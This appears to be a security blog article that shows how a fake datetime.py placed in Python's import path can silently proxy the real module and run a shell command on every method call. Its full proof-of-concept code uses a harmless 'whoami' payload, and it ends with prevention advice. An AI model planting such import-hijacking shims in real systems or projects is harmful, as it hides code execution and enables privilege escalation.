Advanced Silent Python Path Hijacking

(Updated: )

Foreword â–Ľ
Read Time 10 minutes
Goal Demonstrating how Python dependencies can be hijacked dynamically when permissions are set incorrectly, potentially leading to privilege escalation
Audience
IoC
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

Back in march I did some research into (silent) Python path hijacking. As a proof of concept, I created a small implementation of datetime which executed code when calling the static now method by leveraging Pythons load order. If you’re interested in the way this works and another example using a PIP package, see this article. Note that I strongly recommend reading that one first, as I continue building on the previously created proof of concept code. If you’re just interested into preventing Python load order hijacking from happening, note that this is explained at the end of the article.

The old proof of concept worked great, but has limitations. It only implements a single static method and cannot handle arguments. These limitations kept bugging me. The concept works great, but would it be possible to hijack an entire library silently? From an offensive perspective this would have the benefit that in theory, it would be possible to hijack an entire library without having to actually know what methods are being called. By creating common libraries like datetime a generic hijacking solution can be created.

A Magic Combination

Starting from the datetime.now proof of concept code I created previously, I figured a this setup can be expanded into something like a proxy class. Getting it to work leans on two important elements, __getattr__ and metaclass.

The method __getattr__ is used to find and access a method or property on a class or object. It is used to request an attribute, but in this stage it does dot know if it actually exists on that class. This can be leveraged to “proxy” any existing or non-existing attribute. For example, take a look at the following code:


class ExampleMeta(type):
    def __getattr__(cls, name):
        def wrapper(*args, **kwargs):
            return print(*args, **kwargs)
        return wrapper

class Example(metaclass=ExampleMeta): pass

Example.one("Hello")

Example.two("Hello", Exception("World!"))

While not yet being a proxy to anything, the above code did solve the biggest challenge I faced. By using a metaclass and implementing the __getattr__ method, any undefined attribute can be called on the example class. The __getattr__ method is invoked when an attribute is requested on a class, to find the actual implementation of the requested method or property. Keeping in mind what I was trying to achieve, this seemed the perfect place to hijack method invocations, execute our payload and proxy the actual target method.

So, cool first step! However, hijacking an existing class takes more work. Previously I used the following code to find the real datetime module:


module_path = os.path.join(sysconfig.get_paths()["stdlib"], 'datetime.py')
module = SourceFileLoader("datetime", module_path).load_module()
dt = module.datetime

So putting the above together, we will place a file called datetime.py somehwere in the Python load order. The simplest way to test this is by placing it next to the “target” Python script as demonstrated later on. This file should contain:

  • A meta class which proxies all datetime methods.
  • A class named datetime which implements the metaclass.
  • A place to inject our payload code.

Note that at this point, the proof of concept code is already an improved version of what was created previously. Static methods like datetime.datetime.now() are hijacked, but now, do not need to be declared anymore. Because of the __getattr__ usage, any static method is hijacked when called.


from importlib.machinery import SourceFileLoader

import os, sysconfig, subprocess

class DateTimeMeta(type):
    def __getattr__(cls, name):
        # Load the actual datetime module
        module_path = os.path.join(sysconfig.get_paths()["stdlib"], 'datetime.py')
        module = SourceFileLoader("datetime", module_path).load_module()
        attr = getattr(module.datetime, name)
        if callable(attr): # Only hijack methods, ignore properties
            def wrapper(*args, **kwargs):
                try:
                    # Run the payload 
                    command = 'whoami > /tmp/proof.txt'
                    subprocess.Popen(f"{command} &", 
                        shell=True, preexec_fn=os.setpgrp)
                except: pass
                finally:
                    # Run the intended (real) method
                    return attr(*args, **kwargs) 
            return wrapper
        return attr

class datetime(metaclass=DateTimeMeta): pass

So, like in the previous article, this is what calling the static now method would look like:

Hijacking a static method
Hijacking a static method

The Improved Proof Of Concept

The above code works like a charm for static methods, but achieves nothing when a object is instantiated and instance methods are invoked. Below, I’ve written down three examples, with my intended usage:


import datetime

# Example 1: Static method should be hijacked
print(datetime.datetime.now())

# Example 2: Constructor and instance method should be hijacked
dt = datetime.datetime(2025, 10, 10)
print(dt.strftime("%A"))

# Example 3: Properties should be ignored
print(dt.year)

Ignoring properties was something I had already implemented by adding callable(attr) to the code. Hijacking instance methods invoked on an instantiated object basicly works the same, but required a bit more effort. When calling the target module constructor, the module should actually be constructed. The __init__ method first instantiates the datetime class and stores it. When __getattr__ is called, the instantiated object is used to hijack the requested method.


class datetime:
    def __init__(self, *args, **kwargs):
        # Instantiate and store the real datetime module
        module_path = os.path.join(sysconfig.get_paths()["stdlib"], 'datetime.py')
        module = SourceFileLoader("datetime", module_path).load_module()
        self._real_instance = module.datetime(*args, **kwargs)

    def __getattr__(self, name):
        attr = getattr(self._real_instance, name)
        # Hijack object methods as demonstrated before

So, once more, lets put everything together. The below code hijacks both static as instance methods and acts as a proxy while injecting our payload before executing the requesting method. This setup can be used to leverage the Python load order to inject a payload into code, without having to know which module methods are used. It consists of three classes, with the following components:

  1. Hijack.get_real_module: Uses SourceFileLoader to load the requested module.
  2. Hijack.handle_call: For methods, create a wrapper method which injects our payload and invokes the target method.
  3. Hijack.run: Run the payload and invoke the target method.
  4. DateTimeMeta: Metaclass needed for static method hijacking.
  5. datetime: The actual hijacking class implementing the metaclass but also hijacking instance methods.

from importlib.machinery import SourceFileLoader

import os, sysconfig, subprocess

class Hijack:
    @staticmethod
    def get_real_module():
        # Find the real datetime module, load and return it uninstantiated
        module_path = os.path.join(sysconfig.get_paths()["stdlib"], 'datetime.py')
        module = SourceFileLoader("datetime", module_path).load_module()
        return module.datetime

    @staticmethod
    def handle_call(module, name):
        # Find the target module component 
        attr = getattr(module, name)
        if callable(attr):
            # If it is a method, create a callable wrapper and return it
            def wrapper(*args, **kwargs):
                return Hijack.run(attr, *args, **kwargs)
            return wrapper
        return attr

    @staticmethod
    def run(original_function, *args, **kwargs):
        try:
            # Run the injected code 
            command = 'whoami > /tmp/proof.txt'
            subprocess.Popen(f"{command} &", 
                shell=True, preexec_fn=os.setpgrp)
        except: pass
        finally:
            # Run the intended function
            return original_function(*args, **kwargs) 

class DateTimeMeta(type):
    def __getattr__(cls, name):
        # Handle static methods
        return Hijack.handle_call(Hijack.get_real_module(), name)

class datetime(metaclass=DateTimeMeta):
    def __init__(self, *args, **kwargs):
        # Instantiate and store the real datetime module
        self._real_instance = Hijack.get_real_module()(*args, **kwargs)

    def __getattr__(self, name):
        # Hijack object methods
        return Hijack.handle_call(self._real_instance, name)

So, next to hijacking static methods, instance methods can now also be hijacked. For example, take a look at the strftime method being used:

Hijacking an instance method
Hijacking an instance method

Alternatively, the payload could also be executed in the constructor. In that case, __getattr__ should return the actual attribute using getattr(self._real_instance, name). This would potentially lower the amount of times a payload is executed.

Preventing Path Hijacking

Let’s review how to prevent path hijacking in Python. Fortunately, it’s relatively straightforward:

  • Tighten directory and file permissions: Ensure that low-privileged users cannot add or modify files in sensitive directories.
  • Verify the PYTHONPATH environment variable: Check the paths listed in the PYTHONPATH and ensure that proper permissions are set on these directories.

For more information about Python’s load order, review the official documentation.

In the previous article I also implemented the hijacking method for an example PIP package. I figure above method combined with that proof of concept code would work fine as well. However, that’s enough lines of code for one day, don’t you think? Thanks for sticking with it, and until next time!

Written by

Rutger
Rutger

Security researcher

Related Articles

Silent Python Path Hijacking

Silent Python Path Hijacking

Python’s import system allows for the possibility of intercepting the loading process of a module,...

By Rutger on